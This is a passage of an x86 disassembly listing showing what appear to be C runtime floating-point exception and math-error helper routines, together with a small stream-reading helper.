loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD

loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------

loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]

loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------

loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4

loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D800, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDEC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h

loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D800, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------

loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------

loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------

loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------

loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------

loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx

loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26504C8h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh

loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh

loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h

loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh

loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh

loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------

loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------

loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------

loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx

loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------

loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------

loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx

loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------

loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------

loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D400
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs

loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------

loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3F0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------

loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D400
		fchs

loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------

loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D400
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------

loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3F0
		fchs

loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------

loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs

loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]

loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------

loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx

loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------

loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------

loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx

loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx

loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx

loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h

loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF

loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------

loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx

loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx

loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh

loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx

loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDEC, 22h
		retn
; ---------------------------------------------------------------------------

loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDEC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D318

loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3F0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D31C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------

loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------

loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------

loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3

loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------

loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------

loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
